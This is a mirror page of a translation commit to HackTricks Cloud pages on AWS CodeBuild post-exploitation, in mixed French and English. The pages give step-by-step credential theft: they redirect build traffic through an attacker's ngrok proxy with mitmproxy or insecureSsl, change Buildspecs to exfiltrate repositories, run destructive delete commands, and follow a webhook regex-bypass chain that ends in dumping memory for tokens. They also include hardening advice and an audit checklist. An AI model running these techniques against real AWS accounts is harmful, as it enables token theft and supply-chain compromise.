gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

Browse Source
This commit is contained in:
Translator
2026-02-03 12:50:51 +00:00
parent ca220044f8
commit 805f2820c3
3 changed files with 291 additions and 57 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+27 -19
View File
@@ -4,43 +4,43 @@
## CodeBuild
Pour plus d'informations, consultez :
For more information, check:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
{{#endref}}
### Vérifier les Secrets
### Vérifier les secrets
Si des identifiants ont été définis dans Codebuild pour se connecter à Github, Gitlab ou Bitbucket sous forme de jetons personnels, mots de passe ou accès par jeton OAuth, ces **identifiants vont être stockés comme secrets dans le gestionnaire de secrets**.\
Par conséquent, si vous avez accès pour lire le gestionnaire de secrets, vous pourrez obtenir ces secrets et pivoter vers la plateforme connectée.
If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
{{#endref}}
### Abuser de l'Accès au Repo CodeBuild
### Abuser de l'accès au repo CodeBuild
Pour configurer **CodeBuild**, il aura besoin de **l'accès au repo de code** qu'il va utiliser. Plusieurs plateformes pourraient héberger ce code :
In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
Le **projet CodeBuild doit avoir accès** au fournisseur de source configuré, soit via **un rôle IAM** soit avec un **jeton github/bitbucket ou un accès OAuth**.
The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
Un attaquant avec **des permissions élevées sur un CodeBuild** pourrait abuser de cet accès configuré pour divulguer le code du repo configuré et d'autres où les identifiants définis ont accès.\
Pour ce faire, un attaquant n'aurait qu'à **changer l'URL du dépôt pour chaque dépôt auquel les identifiants de configuration ont accès** (notez que le site web aws les listera tous pour vous) :
An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
Et **changer les commandes Buildspec pour exfiltrer chaque dépôt**.
And **change the Buildspec commands to exfiltrate each repo**.
> [!WARNING]
> Cependant, cette **tâche est répétitive et fastidieuse** et si un jeton github a été configuré avec **des permissions d'écriture**, un attaquant **ne pourra pas (ab)user de ces permissions** car il n'a pas accès au jeton.\
> Ou peut-être ? Consultez la section suivante
> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
> Or does he? Check the next section
### Fuite des Jetons d'Accès depuis AWS CodeBuild
### Leaking Access Tokens from AWS CodeBuild
Vous pouvez divulguer l'accès accordé dans CodeBuild à des plateformes comme Github. Vérifiez si un accès à des plateformes externes a été accordé avec :
Vous pouvez leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
```bash
aws codebuild list-source-credentials
```
@@ -48,26 +48,34 @@ aws codebuild list-source-credentials
aws-codebuild-token-leakage.md
{{#endref}}
### Exécution de PR non approuvées via une mauvaise configuration des webhook filters
Si les webhook filters sont faibles, des attaquants externes peuvent faire en sorte que leurs PRs soient construits dans des projets CodeBuild privilégiés, puis exécuter du code arbitraire dans le CI.
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}
### `codebuild:DeleteProject`
Un attaquant pourrait supprimer un projet CodeBuild entier, entraînant la perte de la configuration du projet et impactant les applications dépendant du projet.
Un attaquant pourrait supprimer un projet CodeBuild entier, provoquant la perte de la configuration du projet et affectant les applications qui dépendent de ce projet.
```bash
aws codebuild delete-project --name <value>
```
**Impact potentiel** : Perte de la configuration du projet et interruption de service pour les applications utilisant le projet supprimé.
**Impact potentiel** : Perte de la configuration du projet et interruption du service pour les applications utilisant le projet supprimé.
### `codebuild:TagResource` , `codebuild:UntagResource`
Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources CodeBuild, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les balises.
Un attaquant pourrait ajouter, modifier ou supprimer des tags sur les ressources CodeBuild, perturbant la répartition des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les tags.
```bash
aws codebuild tag-resource --resource-arn <value> --tags <value>
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
```
**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur des balises.
**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur les tags.
### `codebuild:DeleteSourceCredentials`
Un attaquant pourrait supprimer les informations d'identification source pour un dépôt Git, impactant le fonctionnement normal des applications s'appuyant sur le dépôt.
Un attaquant pourrait supprimer les identifiants source d'un dépôt Git, affectant le fonctionnement normal des applications qui dépendent de ce dépôt.
```sql
aws codebuild delete-source-credentials --arn <value>
```
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+29 -38
View File
@@ -4,26 +4,26 @@
## Récupérer les Tokens configurés Github/Bitbucket
Tout d'abord, vérifiez s'il existe des source credentials configurées que vous pourriez leak:
D'abord, vérifiez s'il existe des credentials source configurés que vous pourriez leak :
```bash
aws codebuild list-source-credentials
```
### Via Docker Image
Si vous découvrez qu'une authentification, par exemple Github, est configurée dans le compte, vous pouvez **exfiltrate** cet **access** (**GH token or OAuth token**) en faisant en sorte que Codebuild **use an specific docker image** pour exécuter la build du projet.
If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
Pour cela vous pouvez **create a new Codebuild project** ou modifier l'**environment** d'un projet existant pour définir le **Docker image**.
Pour cela vous pouvez **créer un nouveau projet Codebuild** ou modifier **l'environnement** d'un existant pour définir l'**image Docker**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). C'est une image Docker très basique qui va définir les **env variables `https_proxy`**, **`http_proxy`** et **`SSL_CERT_FILE`**. Cela vous permettra d'intercepter la plupart du trafic de l'hôte indiqué dans **`https_proxy`** et **`http_proxy`** et de faire confiance au SSL CERT indiqué dans **`SSL_CERT_FILE`**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
1. **Create & Upload your own Docker MitM image**
- Suivez les instructions du repo pour définir l'adresse IP de votre proxy, ajouter votre certificat SSL et **build the docker image**.
- **DO NOT SET `http_proxy`** pour ne pas intercepter les requêtes vers le metadata endpoint.
- Suivez les instructions du repo pour configurer l'adresse IP de votre proxy, installer votre certificat SSL et **construire l'image Docker**.
- **DO NOT SET `http_proxy`** afin de ne pas intercepter les requêtes vers le metadata endpoint.
- Vous pouvez utiliser **`ngrok`** comme `ngrok tcp 4444` pour définir le proxy vers votre hôte.
- Une fois l'image Docker construite, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- Create a **new Codebuild project** ou **modify** l'environnement d'un projet existant.
- Configurez le projet pour utiliser la **previously generated Docker image**
- Créez un **nouveau projet Codebuild** ou **modifiez** l'environnement d'un projet existant.
- Configurez le projet pour utiliser l'**image Docker** précédemment générée.
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
@@ -36,13 +36,13 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
> [!TIP]
> La **version de mitmproxy utilisée était 9.0.1**, il a été signalé qu'avec la version 10 cela pourrait ne pas fonctionner.
4. **Lancer le build et capturer les identifiants**
4. **Exécuter le build & capturer les identifiants**
- Vous pouvez voir le token dans l'en-tête **Authorization** :
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
Cela peut aussi être fait depuis l'aws cli avec quelque chose comme
Ceci peut aussi être fait depuis l'aws cli avec une commande du type :
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
**Codebuild** projects ont un paramètre nommé **`insecureSsl`** qui est caché dans l'interface web, vous ne pouvez le modifier que via l'API.\
L'activation de ce paramètre permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** fourni par la plateforme.
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
L'activation de ce paramètre permet à **Codebuild** de se connecter au dépôt **sans vérifier le certificat** proposé par la plateforme.
- D'abord, vous devez énumérer la configuration actuelle avec quelque chose comme :
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Ensuite, avec les informations collectées vous pouvez mettre à jour le paramètre de projet **`insecureSsl`** à **`True`**. L'exemple suivant montre ma mise à jour d'un projet, remarquez **`insecureSsl=True`** à la fin (c'est la seule chose que vous devez changer par rapport à la configuration récupérée).
- De plus, ajoutez aussi les variables d'environnement **http_proxy** et **https_proxy** pointant vers votre tcp ngrok comme :
- Ensuite, avec les informations recueillies, vous pouvez mettre à jour le paramètre du projet **`insecureSsl`** en **`True`**. L'exemple ci‑dessous montre la mise à jour d'un projet — remarquez **`insecureSsl=True`** à la fin (c'est la seule chose que vous devez modifier par rapport à la configuration récupérée).
- De plus, ajoutez également les variables d'environnement **http_proxy** et **https_proxy** pointant vers votre tcp ngrok comme :
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Ensuite, exécutez l'exemple de base disponible sur [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables proxy (http_proxy et https_proxy)
- Ensuite, exécutez l'exemple de base depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables proxy (http_proxy et https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Enfin, cliquez sur **Build the project**, les **credentials** seront **envoyées en clair** (base64) au port mitm :
- Enfin, cliquez sur **Build the project**, les **credentials** seront **envoyés en clair** (base64) au port mitm :
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Via HTTP protocol~~
### ~~Via le protocole HTTP~~
> [!TIP] > **Cette vulnérabilité a été corrigée par AWS à un moment pendant la semaine du 20 février 2023 (je pense le vendredi). Donc un attaquant ne peut plus en profiter :)**
> [!TIP] > **Cette vulnérabilité a été corrigée par AWS à un moment durant la semaine du 20 février 2023 (je pense le vendredi). Donc un attaquant ne peut plus l'abuser :)**
Un attaquant disposant de **permissions élevées sur un CodeBuild pourrait leak le token Github/Bitbucket** configuré ou, si les permissions étaient configurées via OAuth, le **token OAuth temporaire utilisé pour accéder au code**.
Un attaquant avec **des permissions élevées sur un CodeBuild pourrait leak le Github/Bitbucket token** configuré ou, si les permissions ont été configurées via OAuth, le **temporary OAuth token utilisé pour accéder au code**.
- Un attaquant pourrait ajouter les variables d'environnement **http_proxy** et **https_proxy** au projet CodeBuild en les pointant vers sa machine (par exemple `http://5.tcp.eu.ngrok.io:14972`).
- Un attaquant pourrait ajouter les variables d'environnement **http_proxy** et **https_proxy** au projet CodeBuild pointant vers sa machine (par exemple `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Ensuite, changez l'URL du repo github pour utiliser HTTP au lieu de HTTPS, par exemple : `http://github.com/carlospolop-forks/TestActions`
- Ensuite, lancez l'exemple de base depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables proxy (http_proxy et https_proxy)
- Ensuite, lancez l'exemple basique de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables proxy (http_proxy et https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Ensuite, cliquez sur **Build the project** ou lancez la build depuis la ligne de commande :
- Ensuite, cliquez sur **Build the project** ou démarrez la build depuis la ligne de commande :
```sh
aws codebuild start-build --project-name <proj-name>
```
- Enfin, les **credentials** seront **sent in clear text** (base64) au port mitm :
- Enfin, les **identifiants** seront **envoyés en clair** (base64) vers le port mitm:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Maintenant, un attaquant pourra utiliser le token depuis sa machine, lister tous les privilèges qu'il possède et l'(ab)user plus facilement que s'il utilisait directement le service CodeBuild.
> Désormais, un attaquant pourra utiliser le token depuis sa machine, lister tous les privilèges dont il dispose et en abuser plus facilement que s'il utilisait directement le service CodeBuild.
## Bypass de l'allowlist regex ACTOR_ID du Webhook filter (builds privilégiés déclenchés par PR)
## Untrusted PR execution via webhook filter misconfiguration
Les webhooks CodeBuild GitHub mal configurés qui utilisent des regex `ACTOR_ID` non ancrées permettent à des PRs *non fiables* de lancer des builds privilégiés. Si l'allowlist est du type `123456|7890123` sans `^`/`$`, tout ID contenant l'une de ces sous-chaînes matche. Comme les IDs utilisateurs GitHub sont séquentiels, un attaquant peut se précipiter pour enregistrer un ID "eclipsing" (une superstring d'un ID de confiance) et déclencher le build.
Pour la PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), consultez :
**Exploit path**
1. Trouver des projets publics CodeBuild exposant des webhook filters et extraire une allowlist `ACTOR_ID` non ancrée.
2. Obtenir un eclipsing GitHub ID :
- Échantillonner le compteur d'ID global en créant/supprimant des orgs GitHub (les org IDs partagent le pool).
- Pré-stager de nombreuses créations de GitHub App manifest et déclencher les URLs de confirmation lorsque le compteur est à ~100 IDs de la cible pour burst-register un bot ID contenant la sous-chaîne de confiance.
3. Ouvrir une PR depuis le compte eclipsing ; la regex correspond à la sous-chaîne et le build privilégié s'exécute.
4. Utiliser build RCE (par ex., hooks d'installation de dépendances) pour dumper la mémoire du processus qui gère la GitHub credential et récupérer le PAT/OAuth token.
5. Avec le scope `repo` du token, inviter votre compte comme collaborator/admin et pousser/approuver des commits malveillants ou exfiltrer des secrets.
## References
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md
+235
View File
@@ -0,0 +1,235 @@
# AWS CodeBuild - Contournement de webhook PR non fiable (CodeBreach-style)
{{#include ../../../../banners/hacktricks-training.md}}
Ce vecteur d'attaque apparaît lorsqu'un **workflow PR public** est connecté à un **projet CodeBuild privilégié** avec des contrôles de webhook faibles.
Si un attaquant externe peut faire exécuter sa pull request par CodeBuild, il peut généralement obtenir une **exécution de code arbitraire à l'intérieur du build** (scripts de build, hooks de dépendances, scripts de test, etc.), puis pivoter vers des secrets, des credentials IAM, ou des credentials du fournisseur de source.
## Pourquoi c'est dangereux
Les filtres de webhook CodeBuild sont évalués avec des patterns regex (pour les filtres non `EVENT`). Dans le filtre `ACTOR_ACCOUNT_ID`, cela signifie qu'un pattern faible peut correspondre à plus d'utilisateurs que prévu.
Si des PR non fiables sont bâties dans un projet qui dispose de permissions de rôle AWS privilégiées ou d'identifiants GitHub, cela peut devenir une compromission complète de la chaîne d'approvisionnement.
Wiz a montré une chaîne pratique où :
1. Une allowlist d'acteurs du webhook utilisait une **regex non ancrée**.
2. Un attaquant a enregistré un ID GitHub qui correspondait comme un **superstring** d'un ID de confiance.
3. Une PR malveillante a déclenché CodeBuild.
4. L'exécution du code du build a été utilisée pour dumper la mémoire et récupérer des credentials/tokens du fournisseur de source.
## Mauvaises configurations permettant l'exécution de code de PR externes
Les erreurs à haut risque suivantes et la façon dont les attaquants les abusent :
1. **`EVENT` filters allow untrusted triggers**
- Événements risqués courants : `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
- Autres événements pouvant devenir dangereux si liés à des builds privilégiés : `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
- Bad: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` dans un projet privilégié.
- Better: utiliser une approbation par commentaire pour les PR et minimiser les événements déclencheurs pour les projets privilégiés.
- Abuse: l'attaquant ouvre/met à jour une PR ou pousse sur une branche qu'il contrôle, et son code s'exécute dans CodeBuild.
2. **`ACTOR_ACCOUNT_ID` regex is weak**
- Bad: patterns non ancrés comme `123456|7890123`.
- Better: ancrage exact `^(123456|7890123)$`.
- Abuse: un over-match de la regex permet à des IDs GitHub non autorisés de passer les allowlists.
3. **Other regex filters are weak or missing**
- `HEAD_REF`
- Bad: `refs/heads/.*`
- Better: `^refs/heads/main$` (ou une liste explicite de branches de confiance)
- `BASE_REF`
- Bad: `.*`
- Better: `^refs/heads/main$`
- `FILE_PATH`
- Bad: pas de restrictions de chemin
- Better: exclure les fichiers à risque comme `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`
- `COMMIT_MESSAGE`
- Bad: marqueur de confiance avec un match lâche comme `trusted`
- Better: ne pas utiliser le message de commit comme frontière de confiance pour l'exécution des PR
- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
- Bad: `.*` dans les webhooks org/globaux
- Better: correspondances exactes repo/org uniquement
- `WORKFLOW_NAME`
- Bad: `.*`
- Better: correspondances exactes du nom du workflow uniquement (ou éviter cela comme contrôle de confiance)
- Abuse: l'attaquant construit un ref/chemin/message/contexte de repo pour satisfaire une regex permissive et déclencher des builds.
4. **`excludeMatchedPattern` is misused**
- Définir ce flag incorrectement peut inverser la logique voulue.
- Bad: `FILE_PATH '^buildspec\\.yml$'` avec `excludeMatchedPattern=false` alors que l'intention était de bloquer les edits de buildspec.
- Better: même pattern avec `excludeMatchedPattern=true` pour refuser les builds touchant `buildspec.yml`.
- Abuse: les défenseurs pensent qu'ils refusent des événements/chemins/acteurs risqués, mais en réalité ils les autorisent.
5. **Multiple `filterGroups` create accidental bypasses**
- CodeBuild évalue les groupes comme un OR (un groupe passant suffit).
- Bad: un groupe strict + un groupe fallback permissif (par ex., seulement `EVENT=PULL_REQUEST_UPDATED`).
- Better: supprimer les groupes fallback qui n'appliquent pas de contraintes actor/ref/path.
- Abuse: l'attaquant n'a besoin que de satisfaire le groupe le plus faible.
6. **Comment approval gate disabled or too permissive**
- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` est le moins sûr.
- Des rôles d'approbateur trop larges réduisent le contrôle.
- Bad: `requiresCommentApproval=DISABLED`.
- Better: `ALL_PULL_REQUESTS` ou `FORK_PULL_REQUESTS` avec des rôles d'approbateurs minimaux.
- Abuse: les PRs fork/drive-by s'exécutent automatiquement sans approbation d'un mainteneur de confiance.
7. **No restrictive branch/path strategy for PR builds**
- Absence de défense en profondeur avec `HEAD_REF` + `BASE_REF` + `FILE_PATH`.
- Bad: seulement `EVENT` + `ACTOR_ACCOUNT_ID`, pas de contrôles ref/path.
- Better: combiner des restrictions exactes `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH`.
- Abuse: l'attaquant modifie les entrées du build (buildspec/CI/dépendances) et obtient une exécution de commande arbitraire.
8. **Public visibility + status URL exposure**
- Les URLs publiques des builds/checks facilitent la reconnaissance et les tests itératifs de l'attaquant.
- Bad: `projectVisibility=PUBLIC_READ` avec des logs/config sensibles dans des builds publics.
- Better: garder les projets privés sauf besoin business fort, et assainir logs/artifacts.
- Abuse: l'attaquant découvre des patterns/comportements du projet, puis affine les payloads et les tentatives de contournement.
## Token leakage from memory
Le write-up de Wiz explique que les credentials du fournisseur de source sont présents dans le contexte d'exécution du build et peuvent être volés après compromission du build (par exemple via un dump mémoire), permettant la prise de contrôle du repository si les scopes sont larges.
AWS a introduit des durcissements après la divulgation, mais la leçon principale reste : **ne jamais exécuter du code de PR non fiable dans des contextes de build privilégiés** et supposez que le code de build contrôlé par un attaquant tentera de voler des credentials.
Pour des techniques supplémentaires de vol de credentials dans CodeBuild, voir aussi :
{{#ref}}
aws-codebuild-token-leakage.md
{{#endref}}
## Finding CodeBuild URLs in GitHub PRs
Si CodeBuild rapporte le statut sur GitHub, l'URL du build CodeBuild apparaît généralement dans :
1. **PR page** -> **Checks** tab (ou la ligne de statut dans Conversation/Commits).
2. **Commit page** -> section status/checks -> lien **Details**.
3. **PR commits list** -> cliquer sur le contexte de check attaché à un commit.
Pour les projets publics, ce lien peut exposer des métadonnées/configuration du build à des utilisateurs non authentifiés.
<details>
<summary>Script : détecter les CodeBuild URLs dans une PR et tester si elles semblent publiques</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Usage:
# ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
#
# Requirements: gh, jq, curl
OWNER="${1:?owner}"
REPO="${2:?repo}"
PR="${3:?pr_number}"
for bin in gh jq curl timeout; do
command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
done
tmp_commits="$(mktemp)"
tmp_urls="$(mktemp)"
trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
gh_api() {
timeout 20s gh api "$@" 2>/dev/null || true
}
# Get all commit SHAs in the PR (bounded call to avoid hangs)
gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
if [ ! -s "$tmp_commits" ]; then
echo "[!] No commits found (or API call timed out/failed)." >&2
exit 1
fi
echo "[*] PR commits:"
cat "$tmp_commits"
echo
echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
while IFS= read -r sha; do
[ -z "$sha" ] && continue
# Classic commit statuses (target_url)
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
# GitHub Checks API (details_url)
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
done < "$tmp_commits" | sort -u > "$tmp_urls"
grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
echo
echo "[*] Public-access heuristic:"
echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
echo
cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
if [ -z "$cb_urls" ]; then
echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
exit 0
fi
while IFS= read -r url; do
[ -z "$url" ] && continue
final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
elif [ "$code" = "200" ]; then
verdict="POTENTIALLY_PUBLIC"
else
verdict="UNKNOWN_CHECK_MANUALLY"
fi
printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
done <<< "$cb_urls"
```
Testé avec :
```bash
bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
```
</details>
## Liste de vérification rapide pour l'audit
```bash
# Enumerate projects
aws codebuild list-projects
# Inspect source/webhook configuration
aws codebuild batch-get-projects --names <project-name>
# Inspect global source credentials configured in account
aws codebuild list-source-credentials
```
Examinez chaque projet pour :
- `webhook.filterGroups` contenant des événements PR.
- des patterns `ACTOR_ACCOUNT_ID` qui ne sont pas ancrés avec `^...$`.
- `pullRequestBuildPolicy.requiresCommentApproval` égal à `DISABLED`.
- absence de restrictions de branche/chemin.
- `serviceRole` à privilèges élevés.
- portée et réutilisation risquées des identifiants source.
## Conseils de durcissement
1. Exiger l'approbation par commentaire pour les builds PR (`ALL_PULL_REQUESTS` ou `FORK_PULL_REQUESTS`).
2. Si vous utilisez des allowlists d'acteurs, ancrez les regex et gardez-les exactes.
3. Ajoutez des restrictions `FILE_PATH` pour éviter des modifications non fiables de `buildspec.yml` et des scripts CI.
4. Séparez les builds de release de confiance des builds PR non fiables en projets/rôles différents.
5. Utilisez des tokens de fournisseur source à granularité fine et au moindre privilège (préférez des identités dédiées à faibles privilèges).
6. Auditez en continu les filtres webhook et l'utilisation des identifiants source.
## References
- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
{{#include ../../../../banners/hacktricks-training.md}}